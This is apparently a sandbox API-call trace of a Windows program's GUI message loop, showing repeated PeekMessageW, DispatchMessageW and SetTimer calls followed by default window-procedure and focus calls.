[0183.460] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.471] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.471] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.471] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.471] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.471] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.504] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.505] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.505] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.505] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.505] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.518] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.518] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.518] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.519] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.519] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.534] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.534] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.534] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.534] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.534] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.549] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.549] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.549] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.549] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.550] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.596] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0183.596] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0183.597] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.597] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.597] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0183.612] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.612] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.612] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.612] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.612] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.632] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.632] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.632] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.632] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.632] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.655] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0183.655] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0183.655] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.655] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.655] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0183.658] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.658] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.658] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.658] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.658] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.804] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.804] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.804] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.804] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.804] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.832] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0183.832] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0183.832] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.832] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.833] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0183.850] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.850] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.850] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.850] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.850] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.858] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.858] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.858] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.858] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.858] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0184.346] TranslateMessage (lpMsg=0xbdf794) returned 0 [0184.346] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0184.346] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0184.346] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0184.346] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0185.183] TranslateMessage (lpMsg=0xbdf794) returned 0 [0185.183] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0185.183] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0185.183] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0185.183] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0185.893] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0185.893] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0185.893] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0185.893] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0185.893] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0185.897] TranslateMessage (lpMsg=0xbdf794) returned 0 [0185.897] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0185.897] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0185.898] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0185.898] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0186.555] TranslateMessage (lpMsg=0xbdf794) returned 0 [0186.555] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0186.555] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0186.555] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0186.555] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0186.638] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0186.638] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0186.638] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0186.638] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0186.638] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0186.653] TranslateMessage (lpMsg=0xbdf794) returned 0 [0186.653] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0186.653] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0186.653] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0186.653] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0186.698] TranslateMessage (lpMsg=0xbdf794) returned 0 [0186.698] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0186.698] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0186.698] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0186.698] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0186.961] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0186.961] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0186.961] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0186.961] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0186.961] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0186.979] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0186.979] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0186.979] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0186.979] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0186.979] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0187.025] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0187.025] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0187.025] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.025] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.025] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0187.090] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0187.090] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0187.090] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.090] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.090] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0187.100] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.100] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.100] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.100] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.100] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.124] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.124] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.124] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.124] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.124] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.132] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0187.132] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0187.132] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.132] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.132] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0187.147] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.147] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.147] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.147] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.147] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.164] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0187.164] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0187.164] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.164] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.164] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0187.180] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0187.181] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0187.181] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.181] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.181] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0187.195] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.195] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.195] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.195] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.196] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.213] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.213] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.213] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.213] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.213] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.226] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.226] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.226] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.226] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.226] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.241] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0187.241] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0187.241] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.241] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.241] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0187.344] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.344] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.344] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.344] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.344] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.351] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0187.351] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0187.351] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.351] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.351] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0187.417] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.417] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.417] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.418] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.418] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.432] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0187.432] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0187.432] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.432] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.432] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0187.446] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.446] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.446] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.446] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.446] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.461] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.462] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.462] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.462] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.462] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.512] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.512] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.512] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.512] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.512] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.523] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.523] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.524] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.524] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.524] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.598] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.598] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.598] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.598] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.598] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.600] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.600] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.600] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.600] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.601] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.662] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0187.662] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0187.662] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.663] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.663] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0187.681] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.681] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.681] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.681] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.681] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.694] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.694] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.694] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.694] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.694] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.711] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.711] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.711] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.712] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.712] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.725] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.725] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.725] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.725] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.725] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0187.759] TranslateMessage (lpMsg=0xbdf794) returned 0 [0187.759] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0187.759] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0187.759] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0187.759] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0192.551] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x3b, wParam=0x50e, lParam=0x0) returned 0x1 [0192.552] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x11, wParam=0x0, lParam=0x0) returned 0x1 [0192.555] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x1c, wParam=0x1, lParam=0xec8) returned 0x0 [0192.555] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0192.558] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0192.559] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0192.559] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0192.560] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0192.567] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0192.573] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0192.573] SetFocus (hWnd=0x6031c) returned 0x60046 [0192.573] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x8, wParam=0x6031c, lParam=0x0) returned 0x0 [0192.574] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 